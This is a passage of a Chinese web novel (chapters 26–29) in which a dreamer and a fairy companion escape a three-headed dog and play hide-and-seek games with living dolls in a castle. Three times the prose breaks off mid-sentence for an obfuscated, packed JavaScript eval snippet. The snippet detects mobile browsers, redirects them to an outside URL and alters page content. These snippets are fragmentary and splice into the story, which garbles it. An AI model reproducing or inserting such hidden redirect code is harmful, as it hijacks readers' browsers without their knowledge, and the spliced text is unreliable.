“这城堡谁设计的啊?用来防谁呢?”海旗骂骂咧咧地探着脚去试第三/级台阶,终于实的了。 就在要跨过去的时候,原本踩着这级台阶,突、然、消、失、了! “淦!” 今天这个楼梯是下不去了吗? 26. 娃娃堆满屋 在骂骂咧咧地摔死,还是恼怒地用控梦术再来一遍小白异空间中,海旗选择一脚踩在凭空出现的——被称为地狱三头犬的怪东西身上,借力蹬回台阶上。 星星为海旗刚才那堪称高难度的杂技表演鼓掌欢呼,说:“这是不是那个‘父亲’养的小宠物?” “也许吧。”海旗撑着膝盖喘着粗气,“真羡慕你们会飞的,能不能也让我长一双翅膀出来?”这样就没有怕踩空的烦恼了,多好啊。 星星表示:“你可以试试看,万一长出来了呢?” “汪!汪!汪!” 被当作垫脚石的地狱三头犬没有因此掉下去,反而踩着空气灵活地跳至对面楼道的平台上,三个血脑袋一同吠叫,一边骨碌着血红的眼睛盯着海旗,哈喇子淌了一地。 不是,这合理吗? 也是,梦境嘛,最不欠的就是不合理之物。 以防脚下的台阶再次消失,赶忙试探下一级。这次海旗是借助雨伞去试探的,可探距离长了许多,终于是平安下去半道的转折平台上了。 这回总不会也突然消失吧。 三头犬的三个脑袋都很恼怒海旗的这一脚,到处张望寻找上来的方法。但脑袋们的意见似乎不太统一,犬吠声听起来像吵架,身体无法抉择在原地踏步。 海旗也仔细观察着周围,以防被躲在暗处的其他小宠物偷袭:“我就随口一说,并不想成为稀有小宠物之一。” 可以见得,城堡内危机重重,光靠肉身去闯只会死得更快,没有更好的防身武器就很没安全感。 铁床上拆的铁棍和沐浴用的水管只适合近战,再看看远处的地狱三头犬,还有先前抓她脚踝的咧嘴鬼,谁想和这些玩意近战?这两个就是多余的! 想起之前在巨虫之森像凭空取物一样变换出来的一刀一剑,那么此时此刻来把可以远程射击的枪就很有必要。 趁着三头犬脑袋打架,海旗凝神想象,一把精致小巧的手枪就出现在手中了。 控梦术就是万能的,真好用! 海旗立刻抓起手枪瞄准“迷茫小狗”,用力扣下扳机。 “咔”的一声,无事发生——是空弹。 本想检查一下是哪里出了问题,但摸索了半天后发现,她不会拆手枪!她对枪的认识仅限于知道长什么样子而已。 但海旗多少猜到是因为枪里没有子弹,但她也不会装子弹。等她研究明白那三头犬早就跳上来追着咬了,只能无声地咆哮:“啊——” “为什么用不了啊!小星星?” “……梦境中该讲逻辑的时候还有要讲点逻辑的。”星星摆摆手说。 心态彻底崩了。 于是一个恼羞成怒直接将手枪朝暴躁小狗脑袋上掷去。准头还不错,砸中了其中一个脑袋,然后它们意见终于统一了,朝着一个方向踏着空气就追上来了。 “淦!”海旗好久没这么频繁爆过粗口了。 转身继续往下方的楼梯跑,由于三头犬的追上来的速度很快,海旗没有多余的念头去试探台阶是否也会消失,直接一步两三阶地跨下去,竟然没有再次中招,真是见鬼了。 “有什么对付狗的法子吗?”海旗一边逃命一边问。 星星说:“普通狗的话可以试试用狗链拴住,但这是比人大只的地狱三头犬我感觉没什么用。所以你还是想办法逃命吧!前面有门要进去吗?” 是的,这只暴躁小狗就是长相十分标准的地狱三头,体型巨大,堪比一个成年男性。 身后犬吠声逼近,海旗紧急制动拧开距离最近的一扇门扉,一气呵成就立马关上了,星星差点被留在门外。 三头犬应该是被训练过的,见人躲进房间里,只是在门口狂吠,没有要破门而入的意思。 确认安全后,海旗松了口气,这才认真看起来房间里的布置。 昏暗的光线里依稀能看出来,这应该是一个娃娃玩具房。房间里堆满了各式娃娃,常见的布偶棉花娃娃、芭比娃娃、套娃、手办等,甚至还有木雕和陶瓷材质。它们无一例外全都面朝房门,让人为之感叹,也令人毛骨悚然。 房间正中心的位置放了一个展台,上面摆放着一个戏装花旦的绢人娃娃,精致漂亮。 “它们不会突然动起来吧?”海旗担心道。 星星落在展台边,像极了众多娃娃中的一员,也是个可爱漂亮的精灵娃娃。她说:“总之谨慎点就对了。” 海旗缓缓挪动脚步,感觉房间里火热的视线似乎也跟随着她挪步,但抬头去看时,又看不出个所以然来。 “总感觉它们都在看着我……”海旗是用气声说出这句话的,此时门外的犬吠声也渐渐下去了,“要不我们还是出去吧?” 星星摆手驳回:“这么快出去那三头犬都没跑远吧?” 海旗双手环抱,紧紧抓着双臂:“但是这里有亿点可怕……” 无论什么妖魔鬼怪但凡大大方方地现身,海旗还可以大呼小叫着逃命。要命的是这些若有若无的视线,来自四面八方,偏偏房间昏暗加深了这股氛围,尤其折磨人心。 星星不解:“它们只是摆放在这里的娃娃而已,每个都那么好看,哪有什么可怕的?” 但海旗就是下意识地心跳加速,浑身发/抖冒冷汗,无比抗拒这样的环境,只想逃离。 海旗小声地说:“……要是有个毯子就好了。”被包裹的感觉至少能减缓一下心里的恐惧。但此刻她根本无法冷静下来使用控梦术凭空生物。 星星叹了口气,飞上前用细小的双手抱住她:“那我去给你找找看吧。” 一层转了一圈,除了娃娃,只有摆放娃娃的架子和柜子。并没有找到毛毯。 专属于娃娃的房间很大,还是复式的有两层,全都放满了娃娃。一层转了一圈,除了娃娃,只有摆放娃娃的架子和柜子,并没看到有毯子甚至是大块布料。 娃娃的主人一定十分爱惜她们,摆放地十分整齐,排排挨着坐,没有出现谁压着谁的情况。 二层的中心也有一个展台,里面盛放的是一台金色的缝纫机,看起来这里不少娃娃都是用它缝制的。 独留海旗一人在一层时,海旗低下头避开与这些娃娃的对视,尽可能地将它们赶出自己的视线范围内,直到蹲下身抱住脑袋,耳朵只能听见加速的心跳声。 不知道时间过去多久,直到有什么东西砸在脑袋上盖住了自己,隔绝了所有视线,世界终于安静了。 “我没找到有毯子,你先抱着个大号娃娃吧,行吗?”星星拖着个比自己大两倍的棉花娃娃下来了,直到看见被盖住的海旗,“咦?你哪来的毯子?” 星星将大娃娃在展台边放正,掀开毛毯转进去:“海旗,你还好吗?” “我好多了,谢谢你的担心。”海旗在毛毯里双手环膝,露出温柔地笑。 星星有些怔愣,快速眨巴了几下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15672451|171752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大眼睛:“那……大娃娃还要吗?” “当然要。”海旗将毛毯掀开,再次直面四周火热的视线。拍了拍胸口给予自己鼓励后,将星星找的娃娃抱在怀里,调整好毛毯裹在身上。 星星和海旗说了一下房间的大致情况,看起来并没有其他什么恐怖的存在。又在房间里待了一会儿,确保听不见门外三头犬的动静后,才小心翼翼地准备开门出去。 然后,门理所当然地打不开了! 海旗认命道:“我就知道事情没那么简单!” 星星猜测:“门应该是上锁了,或许我们可以去找找钥匙?” 回头看了眼这一房间的娃娃,海旗说:“我觉得我还做不到。”她能安然地待着这里就已经很不错了。 “要开门的话……”怀里的大棉花娃娃突然出声了,“就跟我们玩个游戏吧!” 海旗吓了一跳,直接把娃娃扔地上了,裹紧了身上的毯子。 星星也震惊地指着它:“它它它怎么说话了!?” 大娃娃再次出声:“呀!摔得我好疼!” 然后它在众目睽睽之下笨拙地翻身,撑着地板缓慢爬起来。 这个棉花娃娃缝制的是一个扎着双马尾辫,有着甜美笑容的小姑娘。但它脚底缝得不是很平整,站得前后左右晃悠,很快又跌坐回地板上。 见状,海旗愧疚地朝它道歉:“……对不起啊。” 棉花娃娃见状收回生气的面孔,笑得眼睛都眯了:“没关系,那我就原谅你了。” 好单纯的娃娃。 海旗问:“你刚刚说,‘要开门的话就跟你们玩游戏’是什么意思?” 星星追问:“是不是我们赢了才能拿到钥匙开门?” 棉花娃娃说:“是的呀。自从主人不在后,好久没人来看过我们,跟我们玩游戏了。” 海旗和星星对视了一眼。 海旗问:“‘主人不在’是?” 棉花娃娃的脑袋毕竟是棉花做的,理解不了太深层次的东西,只是眼巴巴地看着海旗,没有说话。 两人再对视一眼,星星把海旗的话说得更直白点:“主人是这座城堡的主人吗?” 棉花娃娃说:“是的呀。” 从信件里得知,这座城堡的主人应该是被称为“父亲”的人,但是棉花娃娃又说“主人已不在”。只是不知道这个“不在”是外出了还是死亡的意思。 海旗又问:“那你知道地下室里那个女孩吗?” 棉花娃娃又迷茫了,但这回它没有沉默,指了指展台上的绢人娃娃:“我不知道,但是它知道。” 本以为那个精美的绢人娃娃也一样可以说话,正想开口询问,谁知棉花娃娃又开口了:“但它的心已经被主人拆掉了。” 海旗说:“意思就是说,只有有心的娃娃才能像你一样开口说话吗?” 棉花娃娃晃了晃小脑袋:“是的呀。那么第一个游戏就是,请找出房间里至少三个除了我以外有心的娃娃,并成功让它们开口哦!” 星星问:“三个?那是不是这些娃娃里有心的就很少啊?” 但棉花娃娃已经一动不动,回归原先淳朴地娃娃模式,表情也变回了标准地微笑挂在脸上。 “这得怎么找?”星星看着满屋子娃娃,无力感涌上心头。 海旗拍了拍她:“至少咱们排除一个错误答案了。” 即展台上的绢人娃娃。 27. 谁是有“心”的娃娃? 捡起地上的棉花大娃娃放在展台旁,仔细对比两个娃娃除了材质究竟还有何不同。 “看出什么来了吗?”星星仔细看了两轮无果,问道。 海旗缓缓摇头,但眼神并没有离开两个娃娃。 “唉。我去那群里找找,你先看着。”目前看来海旗没有那么抗拒的心理了,星星稍微放心地分开去找。 那个花旦的绢人娃娃是被一层透明玻璃罩着的,本想将玻璃罩拿掉仔细看看有什么不同。但玻璃罩稳如被电焊住了,纹丝不动。 对于绢人娃娃,海旗了解得不多:以铅丝作骨,棉花填充血肉,丝绸为肌肤;在为其穿上锦缎罗衣,绘彩点睛。仅此而已。 棉花娃娃的材质就很简单明了,棉布缝制,棉花为血肉。 只是……娃娃的“心”该是如何定义的呢? 海旗抓起棉花娃娃,往心脏的位置摸索按压,放到耳旁听和鼻间下嗅。最后也没发现和正常认知的娃娃有什么不同。 那是眼神吗? 棉花娃娃缝制的是大大圆圆的黑眼睛,还加了细节地高光。再看旁边的绢人娃娃,标准的细长丹凤眼,也没看出眼神上有什么特殊的感觉来。 最容易被按上“心”的位置找出理想的答案,又把全身仔细检查了一遍,看来差异并不体现在娃娃的躯体上。 回想方才她们是怎么“激活”棉花娃娃的。一开始她们想要离开,但棉花娃娃不希望她们离开,反而要求陪它们游戏。 那么激活的条件会不会就是找到它们的这个诉求呢? 星星也正在挨个娃娃查看外观企图找到一个特殊的,海旗将她叫来告知了自己的想法。但是接下来问题又来了:“要怎么知道有‘心’娃娃的诉求并激活它们呢?” 海旗说:“我们只能从这两个娃娃身上入手了。” 并分析道:“我想着,这里有那么多娃娃,作为有‘心’的娃娃,它们是不是会有自己的朋友?按照正常逻辑,能与之做朋友的大概率也是和自己同一类型的娃娃。所以棉花娃娃和绢人娃娃或许有和自己同类型的好朋友,那么我们只要去找到它们各自的朋友就行。” 星星掰了掰手指头:“可是那也才能找到两个啊?它说要找到三个耶?还差一个去哪里找?” 海旗想了想:“同理可得,有好闺蜜的同时,或许还有敌蜜呢?” 星星不是很相信:“真的吗?我觉得棉花娃娃很单纯耶。” “这很正常啊,我就有啊。这里这么多娃娃呢,有一两个不好相处的也正常吧。”海旗一边说一边将棉花娃娃推给她,“来,你在哪里找到它的?交给你了。我负责绢人娃娃,分工合作哈。” 星星又拖着棉花娃娃上二层去了。 绢人娃娃比较独特,环视整个房间,仅此一个。因此海旗打算从同是中式娃娃的陶瓷娃娃下手。 海旗往右边转过去,收紧身上的毯子,朝着同样别致的木柜子,轻轻问了一句:“有谁愿意告诉我,这个精美的绢人娃娃为什么被囚禁于此吗?” 没错,囚禁。 看似将它作为最满意的作品展示,却将其心拆去,并用玻璃罩封住,隔绝与其他娃娃的接触。这就是囚禁。 等了一会儿,最底下的柜子里传来了声音。 过去一打开,里面竟然也放满了陶瓷娃娃。其中最里面的那个在举着手往上跳,企图引起别人的注意而发出声音。 海旗小心翼翼地将它捧了出来,轻放在地上,生怕摔了。 这是个同样精致美丽的陶瓷娃娃,只有一掌大。还是青花瓷花色的,怀里抱着烧得同样精美绝伦的琵琶,不知为何被放在了最底层的最里边。 “你认识那个绢人娃娃吗?”海旗问它。 “它有名字,它叫阿绫。”陶瓷娃娃说起话来奶声奶气地,真正是个小娃娃,“但是它惹主人生气了,所以被主人收回了‘心’,还被永远囚禁在这里。” 海旗抬头看了看名为阿绫的绢人娃娃,又戳了戳陶瓷娃娃:“那你呢小娃娃,你叫什么名字?” 陶瓷娃娃沮丧道:“我没有名字。这里只有阿绫有属于自己的名字。” 海旗猜测道:“莫非阿绫犯的错就是因为它有了自己的名字,从而滋生了独立的灵魂吗?” “是的。”陶瓷娃娃抬头仰望,但它太小,根本什么也看不见,“你能托我起来吗?我想看看阿绫,我好久没见过它了。” “好。”海旗伸出手,让陶瓷娃娃爬到自己手上,然后将它放在玻璃罩上。 陶瓷娃娃简单讲述着属于它们的故事:“我是在阿绫的注视下诞生的。从捏坯到烧制到上色,阿绫一直在旁边,我睁眼后第一个看见的也是它。” “主人喜欢娃娃,更喜欢做娃娃。做完就摆起来,这些全是主人的作品。” “我是第一个陶瓷材质的娃娃,全身都硬邦邦的,其他娃娃都不太喜欢我,也不愿意和我说话,只有阿绫常常安慰我。直到有一天,阿绫被主人送出去了,再回来这里的时候变得破破烂烂的。主人修好了阿绫,但也收回了它的‘心’。” “后来,主人又做出了好多陶瓷娃娃,精致漂亮的陶瓷娃娃逐渐被大家接受,而我也被主人遗忘了……” 所以它才会被收置在柜里深处最角落的位置。 安静地听完陶瓷娃娃哀伤的话语,海旗一时之间不知道该怎么安慰,只好一同沉默着感受思念。 半晌后,海旗率先开口:“谢谢你愿意回应我。” 陶瓷娃娃没有回应,只是静静地隔着玻璃罩望着曾经温柔的伙伴,如同过去被它注视着。 海旗微微一笑转身走远,将空间留给它们。 星星在二层犯了难,自己叭叭讲了半天话也没有得到任何娃娃的回应,索性不按海旗说的来,在二层兜了一圈结果一无所获。 楼下传来声音,知道海旗已经成功找出一个了。既然如此,二层的展台是不是也可以作为一个突破口呢?于是学着海旗研究起展台上的金色缝纫机。 上下左右看了个遍后,星星也上手想取走透明的玻璃罩。不同于一层的,这个玻璃罩轻轻一拿就拿开了。 星星伸手碰了一下缝纫机,紧接着四处张望看有没有娃娃被激活的,结果无事发生。她不信邪,直接上手拨动针线,还是一片沉寂。那就动手将原本的金色丝线拆下来,准备和旁边备用的银色线调换位置。 就在银线即将穿过针眼上时,展台后摆放在正中心的一个小巧的棉花娃娃动了动,打落了身边比它要大得多的娃娃。 星星飞过去把掉落的娃娃捡了起来,准备放回原位时,开口道:“是你把它撂倒的吧?” 小棉花娃娃虽然被放在中心,但它其实很小,也就比楼下的陶瓷娃娃高一个头。周围挨着的都是比它要大许多的娃娃,被可怜兮兮地挤在中间。 将旁边的娃娃打落露出藏在里面的身体,星 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15675877|171752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 星才发现,它竟然没有被缝制完成——娃娃四肢缺失,只有一个精致的脑袋和圆润的身体,这才显得小巧罢了。 它语气有些急躁地说:“我还没有被完整地制作出来呢,你不能把线拆了!” “好,我知道了。”本来搞破坏的目的也是找出并激活有“心”的娃娃而已,既已达成,星星还把缝纫机复原了。 小棉花娃娃这才松了口气,又在低头看到自己残缺的身体后,表情转变为委屈。如果棉花里吸了水,恐怕此刻已经从它的眼睛里决堤。 “那个……你别伤心,你一定会被完整地缝制完的!”星星笨拙地安慰道。 小棉花娃娃“泪眼往往”地看着星星:“真的吗?那你可以给我缝上四肢吗?” “啊?我吗?”星星愣住了,指了指自己,“可我不会……” 小棉花娃娃一听,哭得更委屈了:“那我注定永远都这样了,呜呜呜……” 星星慌乱地左右乱飞,手里那个娃娃还没放回去:“那个、那个……我去问问海旗会不会好了!” 此时海旗恰好上来了,听见了以上对话。原本一直紧紧攥着毯子的手已经松开了,因为她渐渐感受到,火热的目光里,皆是别样特殊的情感。 “很抱歉,我也不会。但我愿意研究一下,你愿意相信我吗,小家伙?”海旗弯下腰温柔地看着它。 小棉花娃娃已经被主人放在这里很久了。它一直在等主人回来将自己完成,但主人一直没有回来。再次遇见一个和主人一样对它如此温柔的人,情不自禁就点头了。 海旗趁热打铁道:“那你知道这里还有哪个有‘心’的娃娃吗?” 星星震惊地望着海旗。原来还能这样。 小棉花娃娃再次点了点头,但下一秒反应过来时已经来不及了。于是它说:“你要把我缝好了我再告诉你。” “那就一言为定!”说罢,海旗立马去研究缝纫机。 小时候海旗的家里就有一台缝纫机,家里的衣服有坏了破洞的或是不合穿的,都是拿给妈妈去缝好的。海旗尤其喜欢看着妈妈认真缝纫衣服的样子,特别美。 虽然她自己没用过,但因为看得多,研究了一下就有点头绪了,就是欠缺材料。 问过小棉花娃娃后,只在角落里找到了一把金色的剪刀。想了想后对自己的身上的毯子下手了,剪碎一些作为填充的材料,再裁剪出作为皮肤的布料。很快,崭新地毛茸茸款独特四肢就完成了,还带有花。 因为海旗的毯子就是毛茸茸地花色毡子。 海旗手还是不太巧,有些针扣缝得并不太工整,碎布塞得还坑坑洼洼地。她说:“你不介意就好。” 小棉花娃娃激动得飞舞、蹦跶,不断地在其他娃娃面前展示自己的双手双腿,十分开心:“我很喜欢!谢谢你愿意为我缝制四肢!” 这一屋子的娃娃没有上千也有好几百个吧,从制作出来就被摆放在这里,从未离开过这个狭小的房间。这里就是只属于它们的一方天地,它们也都是彼此的家人。 海旗能感受到,原本停留在自己身上的目光少了许多。她知道,那是转移到小棉花娃娃身上了,正在为它高兴。 小家伙没有食言,指了指缝纫机下方。 原来展台下还有一个暗藏的空间,海旗从中取出一个娃娃,一头孔雀篮的短卷发,咖色衬衫黑色裤子还背了个双肩包。 俨然是一个翻版的“海旗”娃娃。 28. 翻版“海旗”娃娃 “这娃娃和你好像啊!”星星指着娃娃震惊道。 海旗也没想到,被藏在展台下的娃娃竟然是自己的翻版。但很快又能想明白:“可能因为这是在我的梦里吧?” “嗯……”星星紧皱着眉,没有反驳也没有认可。 不论是巧合还是梦境意识的影响,至少第三个有“心”的娃娃找到了,接下来就是怎么去激活它。 海旗率先出击:“你为什么和我长得那么像?”星星四处飞寻找可能出现的任何一点动静,但娃娃毫无反应。 “你是被特意按仿造成我的吗?” “你知道自己是被故意设计成这样的吗?” 话越说越离谱,但娃娃依然一点动静也没有。 “哇~好厉害,你们竟然真的找到三个娃娃了耶!”提出游戏的那个大号棉花娃娃在身后出声道。 星星现学现用:“那你可以给我们钥匙了吗?” 大棉花娃娃摇了摇头:“不可以哦。”又指了指海旗手上那个娃娃,“它还没开口和你们说过话呢!” 海旗问:“是不是只要能让它开口说话,就算我们赢了?” 大棉花娃娃道:“是的呀!” 海旗:“那你等会儿,我再努力一下。” 继续对着娃娃重复了几次问话,依然找的是翻版“海旗”这一突破点。质问不行,那就夸它。什么你真好看啦,不愧是我的翻版啦,长得像我你无须自卑啦……通俗的没用就换套唯美诗意的,虽然还是没用。 又想到获得新身体的小棉花娃娃,选择从家人挚友入手。开口就是:“你仿得还是不像我,因为我还有哥哥。不是普通的哥哥哦,是一胎双生亲密无间的哦。不知道你的主人有没有也为你缝制一个哥哥呢?” 星星在旁边佩服得五体投地。 果然,娃娃动了,稍稍扭头与海旗对视,开口就回怼:“我当然也有!” 海旗问它:“是吗?你也有个哥哥?和你长得一样的?” 娃娃继续开口:“是的,但他不在这里,主人将他带走了。” 海旗不信:“你不要骗人哦,这里的所有娃娃性别全为女,你的主人会特地为你缝制一个哥哥吗?” 星星也认同道:“就是啊!” “……”娃娃低头沉默了,仿佛它自己也不确定主人会这么做。 趁此间隙,海旗对大棉花娃娃说:“好了,它开口过了。可以给我们钥匙了吗?” 大棉花娃娃也跟着沉默了,眼神里满是迷茫,不知在想什么。 海旗催促道:“我们赢了,你不能失信哦!” 大棉花娃娃挠了挠脑袋,妥协道:“嗯……那好吧,暂且算你们赢了。那我们开始第二个游戏吧。” 星星质问道:“怎么还有啊?” 海旗点点头,同样不解。 “再陪我们玩玩吧,真的好长时间没有好好玩耍过了。”大棉花娃娃有些失落,又指着海旗手上的翻版娃娃,“它也想和你们一起玩。” 海旗:“……” 大娃娃又说:“只有它知道钥匙在哪儿。” 注定是逃不开游戏了,只好询问了下一个游戏,但是大娃娃又变回死机状态不理人了。 于是星星只好开口问翻版娃娃:“下一个游戏规则是什么?” 海旗怔怔地看着,将她拉到旁边的角落,尽量避开其他娃娃,贴着耳朵小声地说出了真相:“你知道腹语吗?” 星星很快反应过来,惊讶得捂住嘴,又回头看了看已经休眠的棉花娃娃:“所以你是忽悠它的?那现在怎么办?” 海旗点头,讪笑道:“哈哈哈,我也不知道。” 四目相对,四目皆迷茫,皆深深叹气,一时没了办法。此时手中的翻版娃娃就是个烫手山芋,激活激活失败,偏偏下一步还得靠它。抓着它的手都使劲了些。 海旗看着那台缝纫机,提议道:“要不我们找根铁丝,撬门出去吧?”玩什么游戏啊! 星星瞥她:“你应该不会吧?” 海旗反驳:“别瞎说!都没试你怎么就知道我不会呢?” 星星:“……”这不是一眼就明了的事情吗? 不过前面她也说不会使用缝纫机,但最后还是用得蛮好的,将那小娃娃缝制得虽不能说完美,但也不爽很差,万一真的捣鼓着门开了呢?这么一想还是很值得一试的。于是飞过去开始研究缝纫机里能不能拆出铁丝来了。 海旗见状也过来了,但手还没碰上机子呢,突然在面前消失不见了。 下一秒,不止是缝纫机,还有满屋子的所有娃娃也都瞬间被清空了! 偌大的房间只剩下海旗和星星。 啊,不对!还有一个娃娃,就是那个翻版海旗的娃娃。也许是因为一直被海旗抱着,所以才没有随着一切消失。 “又发生什么了?”星星还是会慌张地大飞小叫。 “这应该就是第二个游戏了,只是不知道规则是什么。”海旗很快反应过来,“我们下去看看吧。” 一层果然也是空荡荡的,就连中心展台无“心”的绢人娃娃也消失了,房间都因此宽敞明亮了许多。 海旗将翻版娃娃放在玻璃罩上,问:“游戏规则是什么?” 翻版娃娃还是那个激活失败的样子,愣了半晌,只能是两人在房间里先查看了个遍,然而一无所获。于是道:“你不肯透露规则我们就玩不了了,铁丝而已,我不是非得从缝纫机里拆的。不陪你玩了啊。” 海旗凝神用控梦术变幻出一根细铁丝在手上,走到门前准备撬门。 下一秒,门竟然也消失了! 星星耸耸肩:“我怎么感觉它好大的怨气,是不是被你刚才的话气到了?” 海旗无法反驳:“……” 为了激活它,可以说是无所不用其极。或许是因为看到一个和自己的翻版娃娃出现在这里,心里觉得诡异,也有气,也让海旗觉得厌恶。 一个和自己一模一样的娃娃被藏在暗不见光的地方,感觉马上就要被主人往身上贴字条并扎满针。这就是一个诅咒娃娃的半成品,任谁看到都不会开心的。 这是梦魇派来恶心她的吧?那他也算是成功了。也因此,对于如何激活它,海旗并不算好言相对。 “叮!” 身后突然出现水滴落的声音。转身一看,那是红色的——是血! 又是一滴,血液往中心展台的玻璃罩上滴。而且滴速不慢,不知道的还以为是楼上刚发生了现场命案,血液渗透地板滴下来的呢。 玻璃罩上的血液越滴越多,淌开的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15692709|171752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 流向似乎形成某些文字。 而海旗后知后觉地发现:“我放上面的娃娃呢?” 星星:“不知道啊。” 翻版娃娃在她们的视线范围外也消失了。 如今她们就像被困在了一个立体的四方形里,有门的那边墙消失,是摸不着也无法踏出那条分/界线的消失。现在唯一的线索就是那段由血液呈现出来的文字。 玻璃罩上只有歪歪扭扭的三个字——捉迷藏。 星星思索了一下,总结道:“我懂了,刚刚的是简易版捉迷藏,找三个目标娃娃就行。现在来个进阶版的,不会是要找出所有娃娃吧?” 血液的流动有了变化,缓慢汇聚在淌开,形成一个大大的“是”字。 海旗眯着眼看星星:“乌鸦嘴。” 星星手摆得很快:“我不是啊!我就随口说说的,怎么这样啊!” 血液还在变,随着滴落的越多,已经流淌到地上了。字形再次变换,这回是一句话:“在血液流干之前完成,否则你就永远留在这里陪我!” 这句话让海旗有了强烈的紧迫感。在巨虫之森和蔚蓝海域,她其实没怎么考虑过时间这个问题。 虽说为了赔偿青凤的窝,需要在七天内赶往南塘湾事稍稍紧张了一下。但更多是初生牛犊不怕虎,只要足够自信,那都不是事。你看最后不也按时完成了吗?在海域更是优哉游哉,仗着自己是梦境的主人,还能替北冥雪寻回丢失的友谊。 这两个世界相对而言极其安逸,也许是因为时间的限制没有发生在自己身上。就算在七天内未成功抵达南塘湾,那也是青凤的事而已。帮助北冥雪是因为她能吐泡泡让自己减缓对溺水的恐惧而已,正是因为她帮助过自己,所以海旗才会提出类似回报的话语,帮小美人寻找失物。但找不找得并没有那么在意,说句好听的话罢了。 如今一旦威胁来到自己身上就瞬间慌了神。 海旗想:“事不关己高高挂起,原来我是如此冷漠无情之人呢。” 这些情绪其实不是突然出现的,是海旗可以压下去藏起来的,只是今天突然就意识到了。 真正的自己到底是如何的呢?海旗突然有些害怕,定在原地不愿迈出步伐,甚至想找个隐蔽的角落躲起来,不被任何人找到。 “血液流干之前”这其实是一个很模糊的概念。谁知道这些血是会一直流,还是突然就停了?翻版娃娃是不是能控制血液的流速,想流就流想停就停? 星星也很慌张,同时也发现了海旗的神情不对劲。小心翼翼道:“不要想那么多,我们会赢的。” 海旗渐渐回神,望着星星明亮的双眸,微微一笑:“……嗯。” “要不我们把这个展台拆了吧?”星星拉住海旗的手,退开一步。低头一看才发现,原来是血液快要流到脚下了。 退一步又何尝不是一种前进呢? 海旗想到二层放缝纫机的展台下藏着自己的翻版娃娃,那么同理,一层的展台底下是不是也会藏着什么呢? 于是抽出背包里的铁管,示意星星躲远一点,找准一个尖角,用力一敲! 这一棍下去,不止是玻璃罩应声破碎,就连方才烦躁焦虑的情绪也被敲去了不少。 无论如何,还是要先把眼前的难关过了。 29. 对讲机 玻璃罩被敲碎,但还顽固地粘连在一块没有散落稀碎,血液随着每一个缝隙渗进去。 海旗对着尖角再来了一棍子,“哗啦哗啦”碎了满地。 清扫掉四边的碎玻璃,将展台撬开果然有暗格,避开血滴探头去看,里面空荡荡的。 “不应该啊?”星星疑惑地挠挠脑袋。 “就算有什么也一起消失了吧,不是那么简单就被找出来的。”海旗仔细地观察着这一小片四四方方地空间,一边在外东敲敲西摸/摸。 终于在敲到最底下的位置后,海旗再次拿出铁管往暗格中使劲一捅,果然有一层隔板,就这么被简单粗暴地捅开了。 这回有收获,隐隐约约看见底下盛放着一个漆黑的东西。只是太暗了看不太清晰。 海旗伸手去够,奈何暗格太深,手根本够不着。星星本想说它飞下去拿就好,但海旗已经将上半身往暗格里送了,血液染脏了新衣裳。 等了一会儿,海旗还在艰难地往里塞,没有要出来的迹象。 星星问:“有这么深吗?还没拿到?” 海旗回话:“它好像会跑,怎么都碰不到那东西。但我好像看清楚了,这好像是个对讲机?这不会是被我丢水池里那个吧?” 星星在一旁帮不上什么忙,只能干着急:“要不我还是拽一下你好了,底下不会是个无底洞吧?” 这地下或许真的是一个无底洞,最底下那片木板仿佛是有生命的,还是个脾气大的。它似乎在抱怨海旗砸坏了它的兄弟木板,因此要报复回来。既然海旗想要木板上的东西,那它偏偏不愿意给她。 努力许久,海旗累了,正想将自己拔出去歇息一会儿再继续,对讲机响了。 海旗听到了电流滋滋声夹杂着往外吐水的声音,更加确定了这就是那个对讲机。 还记得对面说过,这是他的城堡。那么这些娃娃口中的主人会不会就是对讲机那方的男人呢?正要开口询问,海旗发现自己嗓子像是被水糊住了,根本出不了声。 失声的恐惧让海旗非常慌乱,偏偏自己还卡在这样一个尴尬的位置。手脚并用地挣/扎间,一个影子从眼前快速闪过。但海旗看清了,正是自己的翻版娃娃。 它跑过去后,又在暗处露出半边脸来,阴森森地看着海旗。 “你怎么自己一个人在这里玩?” 对讲机里突然出现小女孩的声音。 “你去别处吧,我要和我朋友在这里玩。” “反正你自己一个人玩,去哪里都一样,走远一点,我不想看见你。” 海旗的心跳得极其猛烈,强烈的孤独感涌现。她一定在哪儿听过这些话,脑子一片空白,唯独身体留下了记忆。 “我哥哥昨天跟我抢电视看,我要看动画片,他要看电影,他不肯让我,然后我就找妈妈告状,我哥被我妈骂了一顿,哈哈哈!” 这又是另外的声音,有男有女,无疑都是小孩子的对话。 “放学了去我家玩吧,我带你们看看我妹妹,超级可爱!我和我弟都超喜欢逗她玩!” “放学我要跟我姐一起回家,我妈妈今天给我们做好吃的了,而且我大哥今天也回来。” 心脏感到一阵前所未有的空虚。 